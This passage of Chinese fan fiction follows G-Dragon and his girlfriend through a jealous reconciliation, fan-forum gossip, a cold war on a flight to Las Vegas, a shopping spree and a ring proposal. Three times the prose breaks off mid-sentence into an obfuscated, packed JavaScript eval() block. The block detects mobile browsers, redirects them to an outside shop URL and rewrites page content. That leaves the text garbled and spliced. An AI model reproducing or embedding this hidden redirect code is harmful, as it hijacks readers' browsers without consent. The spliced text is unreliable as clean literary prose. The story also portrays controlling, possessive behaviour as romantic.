“权至龙!”初星被他的逼问和抓奸般的态度激得也恼了,抬起头瞪他,“你是在审问我吗?我跟谁说话,穿什么衣服,笑不笑,需要经过你的批准吗?” 至龙被这话狠狠刺伤了,眼神暗了下去。他沉默了几秒,再开口时,声音沙哑得厉害:“对,不需要。是我管太多了。是我不对。” 他声音更轻了,几乎像是在自言自语,“是我……太害怕了。” “你……怕什么?”初星愣住了,不解地问。 至龙看着她,浅褐色的眸子里翻涌着她看不懂的复杂情绪。 他没有回答,只是别开视线:“算了。你没事就好。玩得开心。” 说完,就真的转身,迈开步子,打算就此离开。 看着他突然变得疏离甚至有些萧索的背影,初星心里一空,几乎是想也不想,上前一步紧紧抓住了他的手腕。 “呀!权至龙!”她慌得不知道怎么办,只知道不能让他就这么走了,“你就这么走了?你大老远飞过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939149|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,就为了问我这几句话?” 至龙停下脚步,却没有回头,任由她抓着。他的手腕冰凉,皮肤相触的地方传来一阵颤栗。 初星绕到他面前,看着他失去血色的嘴唇,心里又软又涩,晃了晃他的手,声音也放软了:“好啦~对不起啦,至龙……我错了,我不该发那种照片,不该说那种话故意气你。那个真的就是个问路的陌生人,珍雅可以作证,我保证。” 她看他依旧没什么反应,睫毛始终低垂着,便踮起脚尖,快速地在他紧抿的唇上亲了一下,然后继续解释,也带了点真实的委屈:“我只是……有时候觉得很烦啊,你总是管着我,管得那么严,好像我随时会跑掉一样。我也需要一点点自己的空间嘛,好不好?就一点点。” 至龙的身体因为那个轻轻的吻软化了一点。他看着她,叹了口气:“……知道了。” 表面上,他似乎是同意了,妥协了。但他随即反手握住她的手,握得很紧,很用力,指尖微微陷入她的皮肤,像是怕一松手,她就会像指间沙一样溜走。 “你……什么时候走的航班?什么时候要回去?”初星没注意到这些,看着他眼下的青黑,泛起真切的心疼。 至龙眼神闪烁了一下:“可能……陪你吃个晚饭就得走了。晚点……还有个行程要赶,比较急。”他说着,留意着她的反应。 “啊一古……”初星蹙起眉,抬手摸着他憔悴的脸颊,“我们至龙真可怜,刚忙完又飞过来,马上还要赶回去……累不累啊?吃饭来得及吗?” 这种毫不掩饰的关心极大地取悦了至龙,也冲散了他最后那点不快和委屈。他顺势将她搂进怀里,下巴蹭着她柔软的发顶,带着点撒娇的意味:“嗯,累。所以你要补偿我。” “好嘛好嘛,”初星软趴趴地靠在他怀里,乖乖答应,“等我这次回去,就天天陪着你好不好?哪儿都不去了,让你管个够,行了吧?” “好。你说的。不许反悔。”至龙立刻应下,嘴角向上弯了一点,低下头吻了上去,舌尖不停勾着她的不让逃走。 良久,才喘息着松开她,额头抵着她的额头,鼻尖蹭着鼻尖,用那双恢复清亮的眼睛看着她。 “以后不准再这样了。生气可以打我、骂我,怎么样都行。” “但不准拿别的男人来气我,” “不准让别人离你那么近,” “不准和别人乱搭话。” “更不准让我找不到你。” “听到没有?” 初星看着他,他虽然语气强势,但结合着他可怜的行程、疲惫的神情和此刻风尘仆仆赶来的样子,听起来更像是一种不安的诉求。 她点了点头,主动环住他的脖子,再次送上自己的吻:“听到了。以后不会了。” 至龙紧紧搂着怀里的小人,感受着她的温度和承诺,眼底深处掠过一丝计划得逞的微光。 —— 【Bigbang·绝密·真爱无敌·守护欧巴一辈子】 龙鳞护体一生一世:家人们!!!我人炸了!!!我今天跟了款鸡涌一天!!!我想炸死他!!! 胜铉哥的提词器:咋了咋了?快放瓜![耳朵] 太阳神God:蹲!白天不是就是录音和拍摄吗?哥状态怎么样? 龙鳞护体一生一世:下午拍摄结束,哥脸色那叫一个差,黑得像炭,生人勿近!我们都以为他累坏了或者谁惹他了。结果!他一结束就去了机场飞日本!!! 莉莉的小熊猫:日本???他去日本干嘛???晚上不是还有预录吗??? 龙鳞护体一生一世:对啊!!!远远就听到经纪人欧巴都快哭了,说行程紧,来不及。哥没听,然后就直接杀去机场了!两个小时飞机啊!到了日本没多久!真的感觉就吃个饭的时间!又立马飞回来了!!!现在正在去预录的路上![裂开] 胜利是忙内但也是大佬:所以,是飞去……找那位S小姐? 龙的小宝贝:不然呢?!除了那位,谁有这么大本事让龙哥这么折腾?![翻白眼] 危险的姜:真是……年年盼着他们分手,结果这都多久了……怎么还来这种偶像剧戏码啊?[无语] 龙哥你醒醒!你是King啊! la-la-la:S小姐不也是?跨年那天突然袭击飞过去陪龙,龙都要爽死了吧?这两谈恋爱和偶像剧没区别!一样肉麻! 可爱的莉莉:可不是嘛,那天我朋友在清谭洞咖啡馆看到她跟朋友有说有笑的呢!我还气了半天,跨年夜都不来陪欧巴,就知道跟朋友玩! 装作若无其事:以前对她无感,但抄袭风波的时候,她一直陪着,有站姐还拍到过她陪着权leader 在土耳其散心,整个人都很憔悴…我对她稍微有点改观,至少够义气。 权心权意爱欧巴:但那位也太能作了啊!龙哥都忙成什么样了??行程连轴转,还得打飞的去哄她??她凭什么啊?![怒] 心疼我哥!能不能好好搞事业! 阿拉伯王子塔:但是……家人们,我说但是……龙哥回来的时候,我刚好在机场蹲别的艺人,看到了他。去的时候脸黑得吓人,回来的时候……虽然戴着口罩帽子,但那眼睛弯的呦~走路都带风!看到我还愣了一下,居然主动问我:“需要签名吗?” 声音听起来还挺轻快![震惊] 他好像……还挺乐在其中的?[心情复杂] 龙的小宝贝:[吐血] 别说了,有画面了。哥你是被下蛊了吗?这么折腾还高兴?这得是多大一个恋爱脑?! 太阳的小月亮:刚刷到一组照片,就是那位和她闺蜜在日本玩的……客观说,确实长得挺能打的。[小声] 身材也好… 胜铉哥的提词器:我也看到了……说真的,都这么多年了,我都要被迫习惯了。那组照片看下来……啧,颜值和气质这块,黑不动,真的。[点烟] 比某些硬贴的强多了。 权心权意爱欧巴:好看有什么用!再好看也配不上我们欧巴!欧巴是艺术家!她就是个漂亮花瓶![哼] VIP最棒:虽然他两经常恋爱动作很大,但居然还挺稳定的?过年的时候鸡的来滚不是还去中国拜访那位家长了?能拿下他的,估计也不是一般人。 龙鳞护体一生一世:不管不管!这么作,快分!我哥独美![咒骂] 看着就来气!凭什么这么使唤我们哥哥! 龙的小宝贝:这都谈了多少年了?从欧巴出道前就在一起了吧?一个素人女友谈这么久,我真的看不懂!欧巴明明是个风流浪子,绯闻对象从模特到演员到 idol……结果私下是个纯爱战士?我不信!!!我一百个不信!!!绝对是装的!!! A boy:但权龙好像真的很爱啊,你们没发现吗?只要在韩国,几乎每个重大节日、纪念日,他再忙都会挤出时间回去。有时候深夜的航班飞回去就为了待几个小时又被拍到赶早班机回来… 权心权意爱欧巴:可是这也太累了啊!我看着都累!至于吗?!龙哥你可是要做大事的人! 龙鳞护体一生一世:啊啊啊越想越气!坐等分手![酸了] la-la-la:都消消气。至少龙哥今晚预录状态应该会很好?[狗头] 而且…万一哪天真的结婚了?[思考] 龙的小宝贝:闭嘴!不准立这种flag![惊恐] 龙鳞护体一生一世:达咩!拒绝想象![手动再见] VIP since 2006:这恋爱比mv还精彩,我其实还挺爱看的[吃瓜] …… 77.第 77 章 Bigbang年底因新专辑MV拍摄和休假,一同飞往拉斯维加斯。恰逢珍雅也有空,便被初星拉着一起,美其名曰“闺蜜之旅”,实则……某对情侣正处于微妙的冷战期(初星单方面不理至龙)。 飞行前的提示音早已响过,乘客们均已就座。至龙坐在靠窗的位置,烦躁地耙了耙他为了新造型染的耀眼金发,又一次解锁手机,屏幕上定格的,是夏天隅田川花火大会时,他隔着冰冷的黑色狐妖面具,亲吻初星温热脸颊的瞬间。照片里,他穿着深蓝色的甚平,初星穿着正红色的露背吊带长裙,丝滑的缎面在烟花映照下流淌着细腻的光泽,她微微侧头靠向他,发间的扶桑花娇艳欲滴,脸上也洋溢着明媚的笑容。 那时她笑得多开心,他的手臂也曾那样紧密地环抱着她的腰肢。 他忍不住回头看向斜后方。初星正和珍雅坐在一起,两人头靠着头聊天,有说有笑。从他这个角度,只能看到初星柔和的侧脸轮廓和偶尔弯起的嘴角。但她自打上飞机后,就没正眼瞧过他一次,甚至明确警告他不准靠近她们的位置。 至龙心里像有只猫在抓,焦急、委屈又无奈。他知道这次是自己理亏,但……那都是一个多月前的事了,而且他根本就不记得这件事。 飞机进入平稳飞行状态,大部分人选择戴上眼罩休息或沉浸在自己的小屏幕世界里。 最活跃的胜利解开安全带,溜达到初星和珍雅的座位旁,蹲下来,仰着脸笑嘻嘻地问:“怒那,觉得我们这次新专辑的造型怎么样?给点最真实的评价呗?” 初星暂停了平板上播放的电影,认真打量了一下前后左右的成员们。当然,掠过至龙时,没有丝毫停留。 “嗯……整体概念挺突破的。”她客观评价道,然后目光落在top身上,憋不住扑哧一声,“就是胜铉欧巴的银白色贴头皮造型……好像老了十岁,太有‘长辈威严’了吧?” 其他成员闻言都低笑了起来。top本人摸了摸发型,一脸深沉地点头:“嗯……艺术的沉淀需要岁月的厚重感。这个造型,很符合我最近的心境。” 初星又看向胜利,调侃道:“胜利好像越来越精致了呢,是张开了吗?下颌线更清晰了。”珍雅也在旁边附和:“真的耶,褪去点婴儿肥,更秀气俊朗了,粉丝看到肯定会尖叫的。” 胜利立刻得意地扬起下巴,像只开屏的孔雀:“那是!我可是组合的门面担当!颜值一直在进化!” 有心给至龙搭个台阶的大声,插话问道:“那……初星你觉得至龙哥这次的小金毛怎么样?” 初星眼神投向至龙的金色后脑勺,只看了一眼,就收回视线,语气平淡无波:“哦,挺适合的。”她顿了顿,又轻轻吐出五个字,“花花公子啊。” 珍雅赶紧找补:“啊对对对!是那种感觉!又痞又帅又带着点玩世不恭的气质!MV里肯定超有故事感和魅力的!”但显然,她的补救在初星那句定性评价面前显得苍白无力。 胜利看热闹不嫌事大,又溜到永裴旁边的空位,小声问:“哥,他们这又是为啥啊?这次吵得好像挺严重?连飞机上都不坐一起了,这冷战级别可不低。” 永裴推了推眼镜,言简意赅地解释:“好像是因为……初星上周帮他整理换季衣柜,从至龙的裤子里,翻出来一张纸条。是之前拍《High High》夜店戏份时,女伴舞塞给他的,上面写了私人联系方式和一些……嗯……比较直接的留言。” 坐在前面、一直竖着耳朵听的top恍然大悟,扭过头来补充:“啊!好像确实是有这么件事!我记得当时还有粉丝拍到了,还提醒至龙让他赶紧扔掉来着。”他完全没注意到周围瞬间凝固的气氛和成员们集体投来的“哥求你别再补刀了”的眼神。 胜利和大声交换了一个“完蛋了”的眼神。胜利用口型对无声地吐槽:“至龙哥也真是的……这都不处理干净……简直是自掘坟墓……” 大声同情地看着那个连金色发丝都耷拉下去了的后脑勺,点了点头,在心里为哥哥点了根蜡。 至龙听着大家毫不避讳的议论,恨不得把脸埋进小桌板里。当时整个剧组氛围嘈杂,他根本没在意那个伴舞的举动,随手塞进口袋后转头就投入拍摄,后来完全忘了这回事!谁知道这种陈年垃圾还会被翻出来见光! 他再次偷偷回头,发现初星已经戴上了眼罩,头偏向窗户一侧,似乎准备睡觉,彻底隔绝了外界的一切,包括他。 机舱内恢复了安静,只有引擎低沉的白噪音和偶尔有人起身去洗手间的细微声响。珍雅也戴上了眼罩休息。初星虽然戴着眼罩,但并没有睡着,她能感觉到斜前方那道时不时投来的强烈视线。 至龙如坐针毡。他试图给初星发信息,打了长长一段解释、道歉和表忠心的话,写到后面几乎语无伦次,最后又想起飞机上根本没网,信息只能躺在草稿箱里。他烦躁地合上手机,用力抓了抓那头惹眼的金发,发丝都被揉得乱糟糟的。 他解开安全带,站起身,在队友们(除了真的睡着了的top)看好戏的目光注视下,走到初星和珍雅的座位旁。珍雅察觉到动静,掀开眼罩一角,看到是他,非常识趣地起身,对他做了个“您请”的手势,随后轻手轻脚地溜达永裴的空座位旁聊天去了。 至龙感激地看了她一眼,小心翼翼地坐下。 初星闻到熟悉的气息传来,故意不动,也不摘下眼罩,呼吸保持平稳,仿佛真的沉沉睡去,完全没察觉他的靠近。 “娜比……”至龙轻轻碰了碰她放在扶手上的小臂,“我知道你没睡。” 初星不为所动。 “纸条……娜比,我真的,我对天发誓,我早就忘得一干二净了!那时候拍MV,现场很乱,人来人往,很多人塞东西,名片、礼物什么的,我可能当时心不在焉随手就放口袋里了,后来那条裤子就再没穿过……我真的不是故意的,更没想过要联系……你信我。”他瓮声瓮气地开口,带着鼻音,听起来委屈又可怜。 初星还是没反应,但至龙感觉到她绷紧的胳膊放松了一点点,不再那么僵硬了。 他趁热打铁地解释,几乎要把心掏出来给她看:“我要是真有什么心思,我怎么可能还留着那张纸条?还放在一件你随时可能发现的裤子里?我早就……娜比,你那么聪明,你想想是不是这个道理?这完全就是一次意外,是历史遗留的垃圾……” 他见初星依旧沉默,心里更慌了,下意识地想去握她放在腿上的手,指尖刚触到她的皮肤,又像被烫到一样缩回,改为虚覆在她的手背上:“你别不理我……你看,我头发都染成这个样子了,像只没家回的金毛小狗……” 听到这话,初星嘴角极轻微地向上弯了一下,虽然很快又用力压了下去,但那一闪而过的弧度没能逃过至龙紧盯着她的焦灼目光。 至龙心里一喜,胆子也大了一点,握住她的手,掌心有些汗湿,见她没有甩开,只是手指蜷缩了一下,更是松了一口气。他把她的手贴在自己的脸颊上,又亲又蹭,继续用小狗嘤嘤的声音说:“我错了,娜比。千错万错都是我的错。以后我的各种衣服口袋都让你检查,里里外外、上上下下都让你检查,行不行?你别生气了……你看,胜利他们都在看笑话了……” 初星终于摘下了眼罩,一副懒懒散散的姿态,慢条斯理道:“只是检查衣服口袋?” 至龙拼命左右摇头,像甩干机一样:“不止!手机、行程……是全部!毫无保留!都给你检查!你想怎么查就怎么查!” 初星打量着他现在的样子,眼尾湿湿的,皮肤白白的,嘴唇也红红的,看起来楚楚可怜的,又有点诱惑。 她咽了咽口水,强忍着抽回手,指尖特意在他掌心划过一道微痒的痕迹,哼了一声:“看你表现。飞行期间,不准再过来打扰我和珍雅休息。” 至龙眼睛瞬间亮得惊人,连忙点头,声音都轻快了许多:“好!绝对不打扰!你好好休息!睡一觉,睡一觉就到了!” 他心满意足地站起身,一步三回头地回到自己的座位。虽然还是不能坐在一起,但至少得到了‘死缓’的判决,而不是直接被判“死刑立即执行”。他靠在椅背上,长长地舒了一口气,胸腔里那股憋闷感消散了不少。 永裴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16947584|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着至龙从阴云密布到雨过天晴、甚至傻乐的样子,没眼看地瘪了瘪嘴。胜利则对他挤眉弄眼:“哥!太没出息了!”至龙懒得理他,心情大好地对他比了个鬼脸。 虽然回到了座位,但至龙的心思完全没静下来。他还是没事就回头瞟一眼斜后方,看到初星头歪向窗边,侧脸在舷窗透进来的微弱天光下格外柔和静谧,像一幅安静的油画。 他看了一会儿,心里那点刚被安抚下去的焦虑又像水底的泡泡一样悄悄冒头。 她真的不生气了吗?还是只是累了暂时不想跟他计较?等到了拉斯维加斯,她会不会又反悔?会不会觉得他诚意不够? 他决定必须做点什么,让这份“和解”更加稳固。他打开头顶的阅读灯,从背包里拿出一个小本子和笔。沉思了好一会儿,才开始写写画画。笔尖划过纸张发出沙沙的声响,在静谧的机舱里几乎听不见。 画完,他撕下那页纸折了好几道,折成了一个歪歪扭扭但勉强能看出是爱心形状的纸团。 随后他捏着小爱心,踮着脚走到初星座位旁,轻柔地将它塞进了初星搭在扶手上的指尖缝隙里。 做完这一切,他迅速溜回座位,拉低帽檐,假装闭目养神,实则耳朵竖得老高,全身的感官都调动起来,注意着后面的动静。 不久后,初星迷迷糊糊地睁开眼,就看到了手心里被折得有些粗糙却很可爱的纸爱心。 她愣了一下,立马朝至龙的方向看了一眼,那个后脑勺一动不动的,仿佛睡得很沉。 她疑惑地拆开,展开的纸张上,是他熟悉的字迹,还夹杂着一些涂鸦: 「娜比: 我错了。 (画了一只跪着、耳朵耷拉、眼泪汪汪的小金毛狗,尾巴可怜地卷着) 纸条是陈年的垃圾,我是你的专属回收站。 (画了一个可爱的卡通垃圾桶,桶身上写着“GD”,里面扔着一张画着叉叉的纸条) 拉斯维加斯,赌什么都行,别赌气。 (画了一个骰子,每个点都是一颗小心心,旁边还有一个更大的爱心) PS:金毛真的不好看吗? (旁边画了一个大大的、带着泪珠的问号和一只对着镜子顾影自怜、表情哀怨的狗狗) PPS:爱你。 (字迹被用力地、反复描粗了很多很多遍)」 初星看着这封幼稚又真诚的道歉信,尤其是那几只丑萌丑萌的图案,忍了又忍,还是没忍住,露出甜甜的笑容。 她把纸条按照原来的折痕重新折好后,放进随身小包的内层夹袋里,然后,她调整了一下姿势,目光越过座椅的间隙,看向那个依旧在‘装睡’的笨蛋。 她轻咳了一声,至龙的肩膀抖了一下,但还是顽强地‘睡’着。 初星转了转眼珠,打开手机相机拍照。 果然,至龙立刻被快门声‘惊醒’,猛地回过头,揉着眼睛看向她,脸上带着一丝慌乱和掩饰不住的期待。 初星指了指自己,又对他勾了勾手指,眉眼舒展着,还带着点藏不住的笑意。 至龙笑得牙床子都看到了,他解开安全带,动作敏捷得像只猎豹,再次溜了过去。这次,他不再如履薄冰,而是直接蹲在她的座位旁,仰着头,眼睛一眨不眨地看着她,身后的尾巴都摇成了螺旋桨。 “不生气了?”他又眨巴了下眼睛,企图让自己看起来更湿润些。 初星没好气地瞪了他一眼,但眼神已经发软,拨弄了一下他额前的碎发:“看你拉斯维加斯的表现。要是再有什么‘陈年垃圾’被翻出来,或者有什么新的‘惊喜’……” “没有!绝对没有!我保证!”至龙举起三根手指发誓,笑容灿烂得晃眼,“我整个人、从里到外都是你的崭新出厂状态!支持随时查验!” “油嘴滑舌。”初星重重戳了一下他额头,但也彻底笑了起来,像春冰解冻,明媚照人,“回去坐好,系上安全带,我真的要睡觉了。到了叫我。” “遵命!我的女王大人!”至龙心花怒放地在她手背上亲了亲,几乎是蹦跳着回到自己的座位。这次,他终于能安心地闭上眼,真正的睡意也渐渐将他包裹。 78.第 78 章 Bigbang刚下飞机,就被等候已久的制作团队接走,马不停蹄地奔赴新专辑的花絮拍摄。 初星和珍雅由助理带着,先行前往下榻的酒店,长途飞行的疲惫和时差袭来,珍雅几乎是把自己摔进了柔软的大床,嘟囔了一句“我不行了……感觉灵魂还在太平洋上空飘……”下一秒就陷入了昏睡。 初星也累,但或许是心里还惦记着飞机上那点小插曲,又或许是第一次踏入传说中的“罪恶之城”有些兴奋,反而没什么睡意。她简单洗漱了一下,坐在客厅沙发上,漫无目的地刷着电脑,等着志龙他们回来。 不知过了多久,门被推开,至龙、永裴、胜利和top先后走了进来,脸上都带着工作后的倦色。 “回来了?”初星站起身,眼神瞥过至龙时,带着残留的嗔怪和打量。 “嗯。”至龙看到她竟然还醒着等在客厅,有些惊讶,几步走过去想搂住她,却被她一个侧身避开。他手在空中僵了一下,随即若无其事地收回,插进裤袋:“等很久了?累了吧?我们这边刚忙完,晒得人发晕。” 初星‘嗯’了一声,看向他们身后:“大声欧巴呢?” “今天先集中拍了他的个人部分,还在片场熬着呢,估计得很晚。”永裴接过话,揉了揉眉心,打了个大大的哈欠,“累死了,我们先回来喘口气。” 胜利也散了架似的瘫倒在沙发上哀嚎:“啊……我的骨头……拉斯维加斯的太阳真是名不虚传的烈……感觉像被放在烤架上翻面……” T.O.P已经眼神放空,仿佛灵魂已经先一步去和周公探讨艺术了。 大家互相道了晚安,便各自回房间休息。至龙冲了个战斗澡,擦着半干的头发走出来,发现初星还抱着膝盖坐在客厅,看着窗外的夜景发呆,侧脸线条显得有些疏离和冷淡。 “还生气呢?”至龙在她身边坐下,去勾她放在膝盖上的手指。 初星抽回手,没看他:“没有。就是时差,睡不着。” 至龙再次握住了她的手,这次握得很紧不让她挣脱:“走吧,别在房间里闷着了,时差更倒不过来。带你出去逛逛,透透气,散散心。” “出去?你不怕被认出来?这里人多眼杂的。”她的担心下意识地冒了出来,尽管语气还是硬邦邦的。 “在美国没事的,”至龙拿起黑色的渔夫帽扣在自己头发上,又加了副普通的黑框眼镜,“你看,这样就行了。这边认识我的人相对少很多,而且晚上大家都只顾着自己狂欢,没人会特别留意的。” 他晃了晃两人交握的手,声音又奶又夹的,“走吧,嗯?就当陪我,我也想去出去,换换心情。” 初星看着他低调的打扮,又被他软语相求,犹豫了一下,最终还是点了点头,但嘴上还是不饶人:“……要是被认出来我就立刻自己回来,再也不跟你出来了。” “保证不会!相信我!”至龙又抱着她亲了亲。 车子将他们送到了最负盛名的购物中心之一。即使已是夜晚,这里依旧灯火通明,人流如织,各大奢侈品牌店门庭若市。 至龙牵着初星的手,熟门熟路地带着她穿梭于各个品牌店。他显然深谙‘包’治百病的道理,尤其重点光顾了两人都很喜欢的香奈儿。 “这件粗花呢外套很适合娜比。” “这个颜色的CF包还没有吧?” “这双高跟鞋试试,跟不高,走路不累。” “这条真丝吊带裙,晚上在酒店穿应该很舒服。” 至龙都不看价格标签,只要初星在某件单品上多看了两秒,或者他觉得穿在她身上会好看,便直接示意包起来。初星一开始还试图维持一点矜持,拉着他的袖子小声说“够了”,但看着他为自己精心挑选、积极买单、试图用各种漂亮衣服和包包“将功补过”的殷勤样子,那点残存的小脾气也被购物带来的愉悦感取代了,露出一个开心又娇纵的笑容。 大包小包地血拼了一番后,他们走进了一家顶级瑞士手表品牌门店。 初星的目光随意地扫过陈列柜,脚步在一款腕表前停下。铂金表壳线条利落流畅,搭配深蓝色砂金石表盘,仿佛蕴藏着亿万星辰的微小碎片,指针纤细,顶端镶嵌着小小的钻石,漂亮又不张扬。她没有说话,只是稍稍倾身,指尖无意识地在玻璃柜上轻点了一下。 一直将注意力都放在她身上的至龙,立刻捕捉到了她眼神的停顿和眼睛里的喜爱。 “麻烦把这款拿出来给我们看一下。”至龙直接对身旁的店员示意,指向初星目光停留的那只表。 店员微笑着戴上白手套,小心取出表,放在黑色的天鹅绒垫上。至龙接过来,托起初星的手腕,为她戴上。冰凉的表带贴合在她温热的腕间,深蓝色的表盘在她白皙的皮肤衬托下,愈发显得神秘而璀璨。 “还不错。”至龙端详着,眼睛却更多是落在初星的脸上。 初星抬起手腕,对着店内柔和的射灯微微转动,看着表盘上的“星空”随着角度变幻出深浅不一的光泽,嘴角勾起一个满意的弧度。 “喜欢?”至龙观察着她的神色,笑着问。 初星点了点头,目光还流连在手腕上,指尖拂过表盘:“嗯,挺特别的。” “那就要这个。”至龙对着店员示意,然后又低头问她,指了指旁边更炫目的柜台。“还要不要看看别的?还有很多款式。” 初星顺着他指的方向看去,很快便收回目光,挑剔地摇了摇头:“不要了,我就看中这个。” “就这个。”至龙对店员点头确认。 “好的,先生。”店员脸上的笑容加深,态度愈发恭敬。 至龙拿出卡付款。初星继续欣赏着手腕上的新表,越看越喜欢。等至龙付完款,接过手表袋递给助理后,她忽然转过身,踮起脚尖,飞快地在他侧脸上亲了一下。 “奖励你的。”她星亮的眼睛直勾勾地看着面前的男人,只觉得真是哪哪都顺眼,越看越帅气,“眼光不错,权先生。” 至龙对这突如其来的亲昵早已习以为常,并且极其受用地被钓成了翘嘴。他几乎是下意识地低下头,方便她的动作,又伸手环住她的腰,往怀里带了带,嘴角贴着她的脸蹭了蹭。 “就只是……奖励眼光?”他沉声问,手在她腰间暧昧地摩挲着。 初星瞪圆了眼睛,戳了戳他硬邦邦的胸口:“还有……奖励你……嗯……不辞辛苦带我来买东西散心。走了,饿了,去找吃的。” “好,想吃什么都有,我的娜比~”至龙心情无比舒畅地应道,揽着她向外走去。 “所以,我的奖励就只有一个吻啊?”出店后,至龙侧过头,不依不饶地旧话重提。 “呀,权至龙,”初星掐了一下他胳膊内侧的软肉,“一块表换一个香吻,还不够?你贪得无厌哦!” “对你,我永远贪得无厌。而且,你知道我更喜欢什么奖励。”他意有所指地压低声音,热气拂过她的耳廓。 初星脸一热,嗔怒地瞪他,却被他笑着搂紧,轻松躲开了她的“攻击”。 “真的饿了,”初星决定不跟他在这个危险话题上纠缠,指了指马路对面的餐厅,“去那家看看?好像评价很好。” “好。”至龙自然没有异议。 进入餐厅落座后,至龙接过菜单,点了初星喜欢的菜和酒水。 等待上菜的空隙,初星又忍不住抬起手腕欣赏她的新表,看着那片深蓝星空在不同角度下变幻出更加细腻迷人的光泽。 “就这么喜欢?”至龙看着她孩子气的举动,觉得可爱极了,伸手轻抚着她戴表的那只手。 “嗯,主要是……这是我们至龙送的嘛,而且,真的很好看。”她语气里带着点小得意和满足,像一只被顺毛捋舒服了的猫咪。 至龙的心乱七八糟的,又热呼呼的。他摩挲着她的手指,沉默了片刻,眼神变得格外深邃和认真。 “娜比,”他忽而开口,声音更加郑重,“还有让你更喜欢的。” 初星疑惑地抬眼看他,长睫毛扑闪着,却看到至龙从他那件随意的黑色外套内袋里,拿出了一个深蓝色的丝绒戒指盒,轻轻地放在了两人之间的白色桌布上,发出轻微的“嗒”声。 她的目光瞬间被小盒子牢牢吸住,心跳都停了,呼吸也停了,另一手在桌下死死扣着衣角。 至龙深吸一口气,像是鼓足了勇气,用有些汗湿的指尖,打开了盒子。里面并非是光芒四射的钻戒,而是一对设计极其精良、充满现代感与力量美的铂金对戒。男戒宽厚利落,女戒纤细优雅,戒圈内侧似乎还刻着细小的纹路,在餐厅幽暗柔和的光线下泛着温润而高级的光泽。 “这是我亲自画的图,找老师傅一点点打磨出来的。”至龙的声音不高,却清晰地、一字一句地传入她耳中,带着一种不同以往的、近乎庄严的郑重和一丝努力压抑的颤抖,“我想……再过半年一年,等一切都更稳定些,我们就结婚。” 他拿起那枚纤细的女戒,指尖显得异常慎重,“到时候,我会再设计一个独一无二的结婚戒指。这个……先套住你,也套住我。”他说着,微微倾身,托起她放在桌面的右手,小心又珍重地将那枚冰冷的铂金戒指,缓缓地、坚定地推入了她的无名指指根。 初星低头,眯着眼看手指上突然多出的这圈带着他体温和郑重承诺的金属,一时忘了反应,周围的音乐、交谈声仿佛都瞬间远去,安静了下来。 尺寸真是……完美的惊人。 她抬起眼,灯光落入她清澈的眸中,漾开带着些许羞涩和难以置信的惊喜光芒。 “我给你戴上。”她的声音比平时轻软一些,伸出手,从丝绒盒中取出那枚男戒。 至龙立刻伸出左手,放在桌面上,眼神一眨不眨地看着她。初星握住他的手,能感觉到他掌心传来的细微汗湿和不易察觉的颤抖。她屏住呼吸,将那只同样冰冷的戒指,缓缓套进了他的无名指。 戒指戴好的瞬间,至龙像是终于卸下了千斤重担,长长地舒了一口气,笑容无比幸福,紧紧握住她的手,指尖反复摩挲着两人无名指上那对崭新的戒指,怎么看都看不够。 初星也回握住他,脸上保持着动人的笑容。她垂下眼眸,看着两人交握的手上那对闪耀的戒指,眼神有瞬间的失神和复杂。 至龙幸福疯了,开始描绘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16947585|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着对未来的构想,声音里充满了兴奋和希望:“……等下次巡演结束,我们可以去北欧看极光,或者找个海岛……婚礼你想在哪里办?法国庄园?还是……” 初星听着,附和几句“嗯,好啊”、“听你的”。她抬起戴着戒指的手去拿桌上的酒杯,冰凉的玻璃杯壁与更冰冷的戒圈相碰,发出极轻的“叮”一声脆响。她的动作几不可察地顿了一下,才将酒杯送至唇边,冰凉的酒液滑过喉咙。 —— 【Bigbang·绝密·真爱无敌·守护欧巴一辈子】 龙鳞护体一生一世:!!!我勒个亲娘勒!!我在拉斯维加斯!!!你们猜我看到了谁?!! VIP since 2006:谁???快说!别卖关子![发怒] 装作若无其事:大棒不是在拍MV吗? 龙鳞护体一生一世:是拍MV!但我今天在凯撒宫购物中心!看到了龙哥和S小姐!!!在逛街!!! 太阳的小月亮:???今天不是拍MV吗?他们怎么有空逛街? 胜利是忙内但也是大佬:听说今天是集中拍大声欧巴的部分,然后权Leader就带嫂子去血拼了?[吃瓜] 龙鳞护体一生一世:对对对!看样子是!我的天,你们是没看到那个阵仗!香奈儿、爱马仕的袋子拎了好几个!龙哥全程护着,笑得那叫一个开心! A boy:买就买呗,不要对其他人的钱太有占有欲啊! 危险的姜:……又开始了是吗?钞能力哄妻?[无语] 能不能有点新意? 太阳神God:我有个朋友刚也在那边,她说在XX手表店看到他们了!说权萌萌给那位买了一块表!六位数!美金!眼睛都没眨一下就刷卡了! 莉莉的小熊猫:多……多少?!六位数美金?!我晕厥……[晕倒] 